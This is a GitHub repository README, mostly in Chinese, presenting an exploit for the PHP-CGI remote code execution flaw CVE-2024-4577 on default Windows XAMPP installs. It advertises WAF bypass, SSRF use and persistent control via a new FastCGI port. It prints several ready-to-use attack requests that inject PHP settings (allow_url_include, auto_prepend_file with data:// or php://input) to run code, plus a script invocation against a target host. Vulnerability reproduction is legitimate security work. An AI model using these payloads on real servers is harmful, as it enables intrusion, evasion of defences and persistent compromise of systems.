Skip to content

[漏洞复现] 全球首款利用PHP默认环境(XAMPP)的CVE-2024-4577 PHP-CGI RCE 漏洞 EXP。

Notifications You must be signed in to change notification settings

xcanwin/CVE-2024-4577-PHP-RCE

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 

Repository files navigation

CVE-2024-4577-PHP-RCE

项目简介与原理

  • 全球首款利用PHP默认环境(XAMPP)的CVE-2024-4577 PHP-CGI RCE 漏洞 EXP。
  • The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF bypass.
  • 实现PHP默认环境RCE。原理:cgi.force_redirect + REDIRECT-STATUS
  • 新增原创EXP,支持绕过WAF场景的打法。原理:建立FastCGI服务端 + FastCGI协议通讯。
  • 新增原创EXP,支持SSRF场景的打法。原理:data://协议 + GET请求。

EXP 1 的优点

  • 无需 allow_url_includeauto_prepend_fileauto_append_file 即可RCE。可包含任意文件和php文件。
  • 不会出现WAF经常拦截的关键词 allow_url_includeauto_prepend_fileauto_append_file
  • FastCGI服务端的所有通讯不会被WAF记录。
  • 监听新端口,因此实现持久化控制php服务端,独立于apache和php。

漏洞简介

信息 内容
漏洞名称 PHP RCE
漏洞编号 CVE-2024-4577
风险等级 高危
漏洞类型 RCE
利用难度

影响版本

EXP 1

可用于绕过WAF场景 + 默认场景:

python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

例如:

python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80

EXP 2

可用于SSRF场景 + 默认场景:

http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"

EXP 3

可用于默认场景:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost

<?php die("Te"."sT");?>

EXP 4

可用于默认场景:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>

复现

  1. 服务端环境:
XAMPP Windows版 8.2.12
  1. 服务端下载并安装 XAMPP:
https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

或者自主去这里挑受影响版本:https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

  1. 服务端配置
无需任何修改,保持默认配置
  1. 客户端使用EXP
使用上述EXP进行测试
  1. 验证
观察是否返回字符串 "TesT" 或者服务端system.ini文件内容

About

[漏洞复现] 全球首款利用PHP默认环境(XAMPP)的CVE-2024-4577 PHP-CGI RCE 漏洞 EXP。

Resources

Stars

Watchers

Forks

Languages